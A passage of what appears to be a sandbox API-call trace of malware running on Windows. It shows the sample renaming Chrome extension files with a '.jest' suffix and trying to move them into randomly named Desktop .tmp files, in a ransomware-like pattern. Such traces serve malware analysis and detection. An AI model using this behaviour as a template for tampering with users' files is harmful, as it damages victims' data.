lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x576d7577, cFileName="g3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.481] GetLastError () returned 0x2 [0150.481] GetLastError () returned 0x2 [0150.481] SetLastError (dwErrCode=0x2) [0150.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.482] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.492] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.492] CoFreeUnusedLibraries () [0150.492] GetTickCount () returned 0x1157659 [0150.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.492] GetTickCount () returned 0x1157659 [0150.493] IsWindowVisible (hWnd=0x30268) returned 0 [0150.493] Sleep (dwMilliseconds=0x0) [0150.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.494] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.494] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.jest")) returned 1 [0150.498] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x18e6d8*="000003.log") returned 0x90 [0150.498] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x150, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.498] GetLastError () returned 0x2 [0150.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.498] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.499] VarBstrFromR4 (in: fltIn=0x47945017, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.18") returned 0x0 [0150.499] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.499] CoFreeUnusedLibraries () [0150.499] GetTickCount () returned 0x1157659 [0150.499] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.499] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.500] GetTickCount () returned 0x1157659 [0150.500] IsWindowVisible (hWnd=0x30268) returned 0 [0150.500] Sleep (dwMilliseconds=0x0) [0150.500] GetFullPathNameA (in: lpFileName="uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", lpFilePart=0x18e708*="uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp") returned 0x8f [0150.501] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x18e708*="000003.log") returned 0x90 [0150.501] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uo8ttt1sj71l2uoyisww5luoht3uq9wn8cm4dqzmhe6ywjmlxctoaxbe7pqntsjcgrrgjokbufooynhj2rzqvyie86pvob9wcmxqk.tmp")) returned 0 [0150.501] GetLastError () returned 0x2 [0150.501] GetLastError () returned 0x2 [0150.501] SetLastError (dwErrCode=0x2) [0150.501] GetLastError () returned 0x2 [0150.501] SetLastError (dwErrCode=0x2) [0150.501] GetLastError () returned 0x2 [0150.501] SetLastError (dwErrCode=0x2) [0150.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.502] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.502] GetFullPathNameA (in: lpFileName="uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", lpFilePart=0x18e6e4*="uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp") returned 0x8f [0150.502] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uO8Ttt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54384f75, cFileName="tt1sj71l2UOYISWW5LuohT3UQ9Wn8CM4DqZmhe6YwJMLXCtOAxbE7PQntsjcGRrgJOKBuFOOYnHJ2rZqVyIE86PvOB9WcMxqk.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.502] GetLastError () returned 0x2 [0150.502] GetLastError () returned 0x2 [0150.503] SetLastError (dwErrCode=0x2) [0150.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.503] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.507] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.507] CoFreeUnusedLibraries () [0150.507] GetTickCount () returned 0x1157668 [0150.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.507] GetTickCount () returned 0x1157668 [0150.507] IsWindowVisible (hWnd=0x30268) returned 0 [0150.507] Sleep (dwMilliseconds=0x0) [0150.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.509] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.509] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.jest")) returned 1 [0150.513] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x18e6d8*="icon_128.png") returned 0x8a [0150.513] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.513] GetLastError () returned 0x2 [0150.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.513] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.514] VarBstrFromR4 (in: fltIn=0x47945019, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.2") returned 0x0 [0150.514] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.514] CoFreeUnusedLibraries () [0150.514] GetTickCount () returned 0x1157668 [0150.514] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.514] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.514] GetTickCount () returned 0x1157668 [0150.515] IsWindowVisible (hWnd=0x30268) returned 0 [0150.515] Sleep (dwMilliseconds=0x0) [0150.515] GetFullPathNameA (in: lpFileName="EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", lpFilePart=0x18e708*="EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp") returned 0x8f [0150.516] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x18e708*="icon_128.png") returned 0x8a [0150.516] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ewmja90kmqrsduyrnclqjgxhwpjv7nxjbp1euelf tbmtkt1ql1kesff_yh6ujp_nntgqy0llnyjrsntiproc0wtrpjdzxok325y_.tmp")) returned 0 [0150.516] GetLastError () returned 0x2 [0150.516] GetLastError () returned 0x2 [0150.516] SetLastError (dwErrCode=0x2) [0150.516] GetLastError () returned 0x2 [0150.516] SetLastError (dwErrCode=0x2) [0150.516] GetLastError () returned 0x2 [0150.516] SetLastError (dwErrCode=0x2) [0150.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.517] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.517] GetFullPathNameA (in: lpFileName="EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", lpFilePart=0x18e6e4*="EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp") returned 0x8f [0150.517] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EwMjA90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a4d7745, cFileName="A90kMqRsDUYRNclqJGXHwPjv7nxjBp1eUelf TBMtkt1Ql1kEsFf_yH6uJP_NNTgqy0LLnyjRsnTiProc0WTRPJdZxoK325Y_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.517] GetLastError () returned 0x2 [0150.517] GetLastError () returned 0x2 [0150.517] SetLastError (dwErrCode=0x2) [0150.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.518] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.518] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.518] CoFreeUnusedLibraries () [0150.518] GetTickCount () returned 0x1157678 [0150.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.519] GetTickCount () returned 0x1157678 [0150.519] IsWindowVisible (hWnd=0x30268) returned 0 [0150.519] Sleep (dwMilliseconds=0x0) [0150.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.519] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.520] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.jest")) returned 1 [0150.521] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x18e6d8*="icon_16.png") returned 0x89 [0150.521] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.521] GetLastError () returned 0x2 [0150.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.521] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.522] VarBstrFromR4 (in: fltIn=0x4794501b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.21") returned 0x0 [0150.522] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.522] CoFreeUnusedLibraries () [0150.522] GetTickCount () returned 0x1157678 [0150.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.523] GetTickCount () returned 0x1157678 [0150.523] IsWindowVisible (hWnd=0x30268) returned 0 [0150.523] Sleep (dwMilliseconds=0x0) [0150.523] GetFullPathNameA (in: lpFileName="oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", lpFilePart=0x18e708*="oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp") returned 0x8f [0150.524] GetFullPathNameA (in: 